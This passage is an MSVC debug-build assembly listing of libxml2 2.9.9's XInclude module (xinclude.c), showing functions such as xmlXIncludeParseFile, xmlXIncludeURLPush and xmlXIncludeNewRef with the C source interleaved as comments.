cmp DWORD PTR _ref$[ebp], 0
jne SHORT $LN42@xmlXInclud
; 645 : return(-1);
or eax, -1
jmp SHORT $LN1@xmlXInclud
$LN42@xmlXInclud:
; 646 : }
; 647 : ref->fragment = fragment;
mov edx, DWORD PTR _ref$[ebp]
mov eax, DWORD PTR _fragment$[ebp]
mov DWORD PTR [edx+4], eax
; 648 : ref->doc = NULL;
mov ecx, DWORD PTR _ref$[ebp]
mov DWORD PTR [ecx+8], 0
; 649 : ref->xml = xml;
mov edx, DWORD PTR _ref$[ebp]
mov eax, DWORD PTR _xml$[ebp]
mov DWORD PTR [edx+20], eax
; 650 : ref->count = 1;
mov ecx, DWORD PTR _ref$[ebp]
mov DWORD PTR [ecx+24], 1
; 651 : xmlFree(URL);
mov esi, esp
mov edx, DWORD PTR _URL$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 652 : return(0);
xor eax, eax
$LN1@xmlXInclud:
; 653 : }
pop edi
pop esi
add esp, 52 ; 00000034H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeAddNode ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeParseFile
_TEXT SEGMENT
_inputStream$ = -12 ; size = 4
_pctxt$ = -8 ; size = 4
_ret$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_URL$ = 12 ; size = 4
_xmlXIncludeParseFile PROC ; COMDAT
; 421 : xmlXIncludeParseFile(xmlXIncludeCtxtPtr ctxt, const char *URL) {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
mov DWORD PTR [ebp-12], -858993460 ; ccccccccH
mov DWORD PTR [ebp-8], -858993460 ; ccccccccH
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 422 : xmlDocPtr ret;
; 423 : xmlParserCtxtPtr pctxt;
; 424 : xmlParserInputPtr inputStream;
; 425 :
; 426 : xmlInitParser();
call _xmlInitParser
; 427 :
; 428 : pctxt = xmlNewParserCtxt();
call _xmlNewParserCtxt
mov DWORD PTR _pctxt$[ebp], eax
; 429 : if (pctxt == NULL) {
cmp DWORD PTR _pctxt$[ebp], 0
jne SHORT $LN2@xmlXInclud
; 430 : xmlXIncludeErrMemory(ctxt, NULL, "cannot allocate parser context");
push OFFSET ??_C@_0BP@IGCIIMIK@cannot?5allocate?5parser?5context@
push 0
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeErrMemory
add esp, 12 ; 0000000cH
; 431 : return(NULL);
xor eax, eax
jmp $LN1@xmlXInclud
$LN2@xmlXInclud:
; 432 : }
; 433 :
; 434 : /*
; 435 : * pass in the application data to the parser context.
; 436 : */
; 437 : pctxt->_private = ctxt->_private;
mov ecx, DWORD PTR _pctxt$[ebp]
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+68]
mov DWORD PTR [ecx+272], eax
; 438 :
; 439 : /*
; 440 : * try to ensure that new documents included are actually
; 441 : * built with the same dictionary as the including document.
; 442 : */
; 443 : if ((ctxt->doc != NULL) && (ctxt->doc->dict != NULL)) {
mov ecx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [ecx], 0
je SHORT $LN3@xmlXInclud
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx]
cmp DWORD PTR [eax+80], 0
je SHORT $LN3@xmlXInclud
; 444 : if (pctxt->dict != NULL)
mov ecx, DWORD PTR _pctxt$[ebp]
cmp DWORD PTR [ecx+296], 0
je SHORT $LN4@xmlXInclud
; 445 : xmlDictFree(pctxt->dict);
mov edx, DWORD PTR _pctxt$[ebp]
mov eax, DWORD PTR [edx+296]
push eax
call _xmlDictFree
add esp, 4
$LN4@xmlXInclud:
; 446 : pctxt->dict = ctxt->doc->dict;
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx]
mov eax, DWORD PTR _pctxt$[ebp]
mov ecx, DWORD PTR [edx+80]
mov DWORD PTR [eax+296], ecx
; 447 : xmlDictReference(pctxt->dict);
mov edx, DWORD PTR _pctxt$[ebp]
mov eax, DWORD PTR [edx+296]
push eax
call _xmlDictReference
add esp, 4
$LN3@xmlXInclud:
; 448 : }
; 449 :
; 450 : xmlCtxtUseOptions(pctxt, ctxt->parseFlags | XML_PARSE_DTDLOAD);
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+60]
or edx, 4
push edx
mov eax, DWORD PTR _pctxt$[ebp]
push eax
call _xmlCtxtUseOptions
add esp, 8
; 451 :
; 452 : inputStream = xmlLoadExternalEntity(URL, NULL, pctxt);
mov ecx, DWORD PTR _pctxt$[ebp]
push ecx
push 0
mov edx, DWORD PTR _URL$[ebp]
push edx
call _xmlLoadExternalEntity
add esp, 12 ; 0000000cH
mov DWORD PTR _inputStream$[ebp], eax
; 453 : if (inputStream == NULL) {
cmp DWORD PTR _inputStream$[ebp], 0
jne SHORT $LN5@xmlXInclud
; 454 : xmlFreeParserCtxt(pctxt);
mov eax, DWORD PTR _pctxt$[ebp]
push eax
call _xmlFreeParserCtxt
add esp, 4
; 455 : return(NULL);
xor eax, eax
jmp $LN1@xmlXInclud
$LN5@xmlXInclud:
; 456 : }
; 457 :
; 458 : inputPush(pctxt, inputStream);
mov ecx, DWORD PTR _inputStream$[ebp]
push ecx
mov edx, DWORD PTR _pctxt$[ebp]
push edx
call _inputPush
add esp, 8
; 459 :
; 460 : if (pctxt->directory == NULL)
mov eax, DWORD PTR _pctxt$[ebp]
cmp DWORD PTR [eax+180], 0
jne SHORT $LN6@xmlXInclud
; 461 : pctxt->directory = xmlParserGetDirectory(URL);
mov ecx, DWORD PTR _URL$[ebp]
push ecx
call _xmlParserGetDirectory
add esp, 4
mov edx, DWORD PTR _pctxt$[ebp]
mov DWORD PTR [edx+180], eax
$LN6@xmlXInclud:
; 462 :
; 463 : pctxt->loadsubset |= XML_DETECT_IDS;
mov eax, DWORD PTR _pctxt$[ebp]
mov ecx, DWORD PTR [eax+276]
or ecx, 2
mov edx, DWORD PTR _pctxt$[ebp]
mov DWORD PTR [edx+276], ecx
; 464 :
; 465 : xmlParseDocument(pctxt);
mov eax, DWORD PTR _pctxt$[ebp]
push eax
call _xmlParseDocument
add esp, 4
; 466 :
; 467 : if (pctxt->wellFormed) {
mov ecx, DWORD PTR _pctxt$[ebp]
cmp DWORD PTR [ecx+12], 0
je SHORT $LN7@xmlXInclud
; 468 : ret = pctxt->myDoc;
mov edx, DWORD PTR _pctxt$[ebp]
mov eax, DWORD PTR [edx+8]
mov DWORD PTR _ret$[ebp], eax
; 469 : }
jmp SHORT $LN8@xmlXInclud
$LN7@xmlXInclud:
; 470 : else {
; 471 : ret = NULL;
mov DWORD PTR _ret$[ebp], 0
; 472 : if (pctxt->myDoc != NULL)
mov ecx, DWORD PTR _pctxt$[ebp]
cmp DWORD PTR [ecx+8], 0
je SHORT $LN9@xmlXInclud
; 473 : xmlFreeDoc(pctxt->myDoc);
mov edx, DWORD PTR _pctxt$[ebp]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlFreeDoc
add esp, 4
$LN9@xmlXInclud:
; 474 : pctxt->myDoc = NULL;
mov ecx, DWORD PTR _pctxt$[ebp]
mov DWORD PTR [ecx+8], 0
$LN8@xmlXInclud:
; 475 : }
; 476 : xmlFreeParserCtxt(pctxt);
mov edx, DWORD PTR _pctxt$[ebp]
push edx
call _xmlFreeParserCtxt
add esp, 4
; 477 :
; 478 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@xmlXInclud:
; 479 : }
add esp, 12 ; 0000000cH
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeParseFile ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeURLPop
_TEXT SEGMENT
_ret$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_xmlXIncludeURLPop PROC ; COMDAT
; 356 : {
push ebp
mov ebp, esp
push ecx
push esi
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 357 : xmlChar * ret;
; 358 :
; 359 : if (ctxt->urlNr <= 0)
mov eax, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [eax+40], 0
jg SHORT $LN2@xmlXInclud
; 360 : return;
jmp SHORT $LN1@xmlXInclud
$LN2@xmlXInclud:
; 361 : ctxt->urlNr--;
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+40]
sub edx, 1
mov eax, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [eax+40], edx
; 362 : if (ctxt->urlNr > 0)
mov ecx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [ecx+40], 0
jle SHORT $LN3@xmlXInclud
; 363 : ctxt->url = ctxt->urlTab[ctxt->urlNr - 1];
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+40]
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+48]
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [edx+eax*4-4]
mov DWORD PTR [ecx+36], edx
jmp SHORT $LN4@xmlXInclud
$LN3@xmlXInclud:
; 364 : else
; 365 : ctxt->url = NULL;
mov eax, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [eax+36], 0
$LN4@xmlXInclud:
; 366 : ret = ctxt->urlTab[ctxt->urlNr];
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+40]
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+48]
mov edx, DWORD PTR [ecx+edx*4]
mov DWORD PTR _ret$[ebp], edx
; 367 : ctxt->urlTab[ctxt->urlNr] = NULL;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+40]
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+48]
mov DWORD PTR [eax+ecx*4], 0
; 368 : if (ret != NULL)
cmp DWORD PTR _ret$[ebp], 0
je SHORT $LN1@xmlXInclud
; 369 : xmlFree(ret);
mov esi, esp
mov ecx, DWORD PTR _ret$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN1@xmlXInclud:
; 370 : }
pop esi
add esp, 4
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeURLPop ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeURLPush
_TEXT SEGMENT
tv146 = -8 ; size = 4
tv140 = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_value$ = 12 ; size = 4
_xmlXIncludeURLPush PROC ; COMDAT
; 317 : {
push ebp
mov ebp, esp
sub esp, 8
push esi
mov DWORD PTR [ebp-8], -858993460 ; ccccccccH
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 318 : if (ctxt->urlNr > XINCLUDE_MAX_DEPTH) {
mov eax, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [eax+40], 40 ; 00000028H
jle SHORT $LN2@xmlXInclud
; 319 : xmlXIncludeErr(ctxt, NULL, XML_XINCLUDE_RECURSION,
mov ecx, DWORD PTR _value$[ebp]
push ecx
push OFFSET ??_C@_0BM@FPMOMHKP@detected?5a?5recursion?5in?5?$CFs?6@
push 1600 ; 00000640H
push 0
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 320 : "detected a recursion in %s\n", value);
; 321 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN2@xmlXInclud:
; 322 : }
; 323 : if (ctxt->urlTab == NULL) {
mov eax, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [eax+48], 0
jne SHORT $LN3@xmlXInclud
; 324 : ctxt->urlMax = 4;
mov ecx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [ecx+44], 4
; 325 : ctxt->urlNr = 0;
mov edx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [edx+40], 0
; 326 : ctxt->urlTab = (xmlChar * *) xmlMalloc(
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+44]
shl ecx, 2
mov esi, esp
push ecx
call DWORD PTR _xmlMalloc
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
mov edx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [edx+48], eax
; 327 : ctxt->urlMax * sizeof(ctxt->urlTab[0]));
; 328 : if (ctxt->urlTab == NULL) {
mov eax, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [eax+48], 0
jne SHORT $LN3@xmlXInclud
; 329 : xmlXIncludeErrMemory(ctxt, NULL, "adding URL");
push OFFSET ??_C@_0L@NDJLOKMA@adding?5URL@
push 0
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErrMemory
add esp, 12 ; 0000000cH
; 330 : return (-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN3@xmlXInclud:
; 331 : }
; 332 : }
; 333 : if (ctxt->urlNr >= ctxt->urlMax) {
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [edx+40]
cmp ecx, DWORD PTR [eax+44]
jl SHORT $LN5@xmlXInclud
; 334 : ctxt->urlMax *= 2;
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+44]
shl eax, 1
mov ecx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [ecx+44], eax
; 335 : ctxt->urlTab =
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+44]
shl eax, 2
mov esi, esp
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+48]
push edx
call DWORD PTR _xmlRealloc
add esp, 8
cmp esi, esp
call __RTC_CheckEsp
mov ecx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [ecx+48], eax
; 336 : (xmlChar * *) xmlRealloc(ctxt->urlTab,
; 337 : ctxt->urlMax *
; 338 : sizeof(ctxt->urlTab[0]));
; 339 : if (ctxt->urlTab == NULL) {
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+48], 0
jne SHORT $LN5@xmlXInclud
; 340 : xmlXIncludeErrMemory(ctxt, NULL, "adding URL");
push OFFSET ??_C@_0L@NDJLOKMA@adding?5URL@
push 0
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeErrMemory
add esp, 12 ; 0000000cH
; 341 : return (-1);
or eax, -1
jmp SHORT $LN1@xmlXInclud
$LN5@xmlXInclud:
; 342 : }
; 343 : }
; 344 : ctxt->url = ctxt->urlTab[ctxt->urlNr] = xmlStrdup(value);
mov ecx, DWORD PTR _value$[ebp]
push ecx
call _xmlStrdup
add esp, 4
mov DWORD PTR tv140[ebp], eax
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+40]
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+48]
mov ecx, DWORD PTR tv140[ebp]
mov DWORD PTR [edx+eax*4], ecx
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR tv140[ebp]
mov DWORD PTR [edx+36], eax
; 345 : return (ctxt->urlNr++);
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+40]
mov DWORD PTR tv146[ebp], edx
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+40]
add ecx, 1
mov edx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [edx+40], ecx
mov eax, DWORD PTR tv146[ebp]
$LN1@xmlXInclud:
; 346 : }
pop esi
add esp, 8
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeURLPush ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeNewRef
_TEXT SEGMENT
_ret$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_URI$ = 12 ; size = 4
_ref$ = 16 ; size = 4
_xmlXIncludeNewRef PROC ; COMDAT
; 226 : xmlNodePtr ref) {
push ebp
mov ebp, esp
push ecx
push esi
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 227 : xmlXIncludeRefPtr ret;
; 228 :
; 229 : #ifdef DEBUG_XINCLUDE
; 230 : xmlGenericError(xmlGenericErrorContext, "New ref %s\n", URI);
; 231 : #endif
; 232 : ret = (xmlXIncludeRefPtr) xmlMalloc(sizeof(xmlXIncludeRef));
mov esi, esp
push 36 ; 00000024H
call DWORD PTR _xmlMalloc
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
mov DWORD PTR _ret$[ebp], eax
; 233 : if (ret == NULL) {
cmp DWORD PTR _ret$[ebp], 0
jne SHORT $LN2@xmlXInclud
; 234 : xmlXIncludeErrMemory(ctxt, ref, "growing XInclude context");
push OFFSET ??_C@_0BJ@LMPOCELI@growing?5XInclude?5context@
mov eax, DWORD PTR _ref$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErrMemory
add esp, 12 ; 0000000cH
; 235 : return(NULL);
xor eax, eax
jmp $LN1@xmlXInclud
$LN2@xmlXInclud:
; 236 : }
; 237 : memset(ret, 0, sizeof(xmlXIncludeRef));
xor edx, edx
mov eax, DWORD PTR _ret$[ebp]
mov DWORD PTR [eax], edx
mov DWORD PTR [eax+4], edx
mov DWORD PTR [eax+8], edx
mov DWORD PTR [eax+12], edx
mov DWORD PTR [eax+16], edx
mov DWORD PTR [eax+20], edx
mov DWORD PTR [eax+24], edx
mov DWORD PTR [eax+28], edx
mov DWORD PTR [eax+32], edx
; 238 : if (URI == NULL)
cmp DWORD PTR _URI$[ebp], 0
jne SHORT $LN3@xmlXInclud
; 239 : ret->URI = NULL;
mov ecx, DWORD PTR _ret$[ebp]
mov DWORD PTR [ecx], 0
jmp SHORT $LN4@xmlXInclud
$LN3@xmlXInclud:
; 240 : else
; 241 : ret->URI = xmlStrdup(URI);
mov edx, DWORD PTR _URI$[ebp]
push edx
call _xmlStrdup
add esp, 4
mov ecx, DWORD PTR _ret$[ebp]
mov DWORD PTR [ecx], eax
$LN4@xmlXInclud:
; 242 : ret->fragment = NULL;
mov edx, DWORD PTR _ret$[ebp]
mov DWORD PTR [edx+4], 0
; 243 : ret->ref = ref;
mov eax, DWORD PTR _ret$[ebp]
mov ecx, DWORD PTR _ref$[ebp]
mov DWORD PTR [eax+12], ecx
; 244 : ret->doc = NULL;
mov edx, DWORD PTR _ret$[ebp]
mov DWORD PTR [edx+8], 0
; 245 : ret->count = 0;
mov eax, DWORD PTR _ret$[ebp]
mov DWORD PTR [eax+24], 0
; 246 : ret->xml = 0;
mov ecx, DWORD PTR _ret$[ebp]
mov DWORD PTR [ecx+20], 0
; 247 : ret->inc = NULL;
mov edx, DWORD PTR _ret$[ebp]
mov DWORD PTR [edx+16], 0
; 248 : if (ctxt->incMax == 0) {
mov eax, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [eax+12], 0
jne SHORT $LN5@xmlXInclud
; 249 : ctxt->incMax = 4;
mov ecx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [ecx+12], 4
; 250 : ctxt->incTab = (xmlXIncludeRefPtr *) xmlMalloc(ctxt->incMax *
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+12]
shl eax, 2
mov esi, esp
push eax
call DWORD PTR _xmlMalloc
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
mov ecx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [ecx+16], eax
; 251 : sizeof(ctxt->incTab[0]));
; 252 : if (ctxt->incTab == NULL) {
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+16], 0
jne SHORT $LN5@xmlXInclud
; 253 : xmlXIncludeErrMemory(ctxt, ref, "growing XInclude context");
push OFFSET ??_C@_0BJ@LMPOCELI@growing?5XInclude?5context@
mov eax, DWORD PTR _ref$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErrMemory
add esp, 12 ; 0000000cH
; 254 : xmlXIncludeFreeRef(ret);
mov edx, DWORD PTR _ret$[ebp]
push edx
call _xmlXIncludeFreeRef
add esp, 4
; 255 : return(NULL);
xor eax, eax
jmp $LN1@xmlXInclud
$LN5@xmlXInclud:
; 256 : }
; 257 : }
; 258 : if (ctxt->incNr >= ctxt->incMax) {
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [eax+8]
cmp edx, DWORD PTR [ecx+12]
jl SHORT $LN7@xmlXInclud
; 259 : ctxt->incMax *= 2;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+12]
shl ecx, 1
mov edx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [edx+12], ecx
; 260 : ctxt->incTab = (xmlXIncludeRefPtr *) xmlRealloc(ctxt->incTab,
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+12]
shl ecx, 2
mov esi, esp
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
push eax
call DWORD PTR _xmlRealloc
add esp, 8
cmp esi, esp
call __RTC_CheckEsp
mov ecx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [ecx+16], eax
; 261 : ctxt->incMax * sizeof(ctxt->incTab[0]));
; 262 : if (ctxt->incTab == NULL) {
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+16], 0
jne SHORT $LN7@xmlXInclud
; 263 : xmlXIncludeErrMemory(ctxt, ref, "growing XInclude context");
push OFFSET ??_C@_0BJ@LMPOCELI@growing?5XInclude?5context@
mov eax, DWORD PTR _ref$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErrMemory
add esp, 12 ; 0000000cH
; 264 : xmlXIncludeFreeRef(ret);
mov edx, DWORD PTR _ret$[ebp]
push edx
call _xmlXIncludeFreeRef
add esp, 4
; 265 : return(NULL);
xor eax, eax
jmp SHORT $LN1@xmlXInclud
$LN7@xmlXInclud:
; 266 : }
; 267 : }
; 268 : ctxt->incTab[ctxt->incNr++] = ret;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+8]
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov edx, DWORD PTR _ret$[ebp]
mov DWORD PTR [eax+ecx*4], edx
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+8]
add ecx, 1
mov edx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [edx+8], ecx
; 269 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@xmlXInclud:
; 270 : }
pop esi
add esp, 4
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeNewRef ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeFreeRef
_TEXT SEGMENT
_ref$ = 8 ; size = 4
_xmlXIncludeFreeRef PROC ; COMDAT
; 194 : xmlXIncludeFreeRef(xmlXIncludeRefPtr ref) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 195 : if (ref == NULL)
cmp DWORD PTR _ref$[ebp], 0
jne SHORT $LN2@xmlXInclud
; 196 : return;
jmp $LN1@xmlXInclud
$LN2@xmlXInclud:
; 197 : #ifdef DEBUG_XINCLUDE
; 198 : xmlGenericError(xmlGenericErrorContext, "Freeing ref\n");
; 199 : #endif
; 200 : if (ref->doc != NULL) {
mov eax, DWORD PTR _ref$[ebp]
cmp DWORD PTR [eax+8], 0
je SHORT $LN3@xmlXInclud
; 201 : #ifdef DEBUG_XINCLUDE
; 202 : xmlGenericError(xmlGenericErrorContext, "Freeing doc %s\n", ref->URI);
; 203 : #endif
; 204 : xmlFreeDoc(ref->doc);
mov ecx, DWORD PTR _ref$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
call _xmlFreeDoc
add esp, 4
$LN3@xmlXInclud:
; 205 : }
; 206 : if (ref->URI != NULL)
mov eax, DWORD PTR _ref$[ebp]
cmp DWORD PTR [eax], 0
je SHORT $LN4@xmlXInclud
; 207 : xmlFree(ref->URI);
mov esi, esp
mov ecx, DWORD PTR _ref$[ebp]
mov edx, DWORD PTR [ecx]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN4@xmlXInclud:
; 208 : if (ref->fragment != NULL)
mov eax, DWORD PTR _ref$[ebp]
cmp DWORD PTR [eax+4], 0
je SHORT $LN5@xmlXInclud
; 209 : xmlFree(ref->fragment);
mov esi, esp
mov ecx, DWORD PTR _ref$[ebp]
mov edx, DWORD PTR [ecx+4]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN5@xmlXInclud:
; 210 : if (ref->xptr != NULL)
mov eax, DWORD PTR _ref$[ebp]
cmp DWORD PTR [eax+28], 0
je SHORT $LN6@xmlXInclud
; 211 : xmlXPathFreeObject(ref->xptr);
mov ecx, DWORD PTR _ref$[ebp]
mov edx, DWORD PTR [ecx+28]
push edx
call _xmlXPathFreeObject
add esp, 4
$LN6@xmlXInclud:
; 212 : xmlFree(ref);
mov esi, esp
mov eax, DWORD PTR _ref$[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN1@xmlXInclud:
; 213 : }
pop esi
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_xmlXIncludeFreeRef ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeGetProp
_TEXT SEGMENT
_ret$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_name$ = 16 ; size = 4
_xmlXIncludeGetProp PROC ; COMDAT
; 173 : const xmlChar *name) {
push ebp
mov ebp, esp
push ecx
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 174 : xmlChar *ret;
; 175 :
; 176 : ret = xmlGetNsProp(cur, XINCLUDE_NS, name);
mov eax, DWORD PTR _name$[ebp]
push eax
push OFFSET ??_C@_0CA@MIIEHMNN@http?3?1?1www?4w3?4org?12003?1XInclude@
mov ecx, DWORD PTR _cur$[ebp]
push ecx
call _xmlGetNsProp
add esp, 12 ; 0000000cH
mov DWORD PTR _ret$[ebp], eax
; 177 : if (ret != NULL)
cmp DWORD PTR _ret$[ebp], 0
je SHORT $LN2@xmlXInclud
; 178 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
jmp SHORT $LN1@xmlXInclud
$LN2@xmlXInclud:
; 179 : if (ctxt->legacy != 0) {
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+56], 0
je SHORT $LN3@xmlXInclud
; 180 : ret = xmlGetNsProp(cur, XINCLUDE_OLD_NS, name);
mov eax, DWORD PTR _name$[ebp]
push eax
push OFFSET ??_C@_0CA@JAOIMFBM@http?3?1?1www?4w3?4org?12001?1XInclude@
mov ecx, DWORD PTR _cur$[ebp]
push ecx
call _xmlGetNsProp
add esp, 12 ; 0000000cH
mov DWORD PTR _ret$[ebp], eax
; 181 : if (ret != NULL)
cmp DWORD PTR _ret$[ebp], 0
je SHORT $LN3@xmlXInclud
; 182 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
jmp SHORT $LN1@xmlXInclud
$LN3@xmlXInclud:
; 183 : }
; 184 : ret = xmlGetProp(cur, name);
mov edx, DWORD PTR _name$[ebp]
push edx
mov eax, DWORD PTR _cur$[ebp]
push eax
call _xmlGetProp
add esp, 8
mov DWORD PTR _ret$[ebp], eax
; 185 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@xmlXInclud:
; 186 : }
add esp, 4
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeGetProp ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeErr
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_node$ = 12 ; size = 4
_error$ = 16 ; size = 4
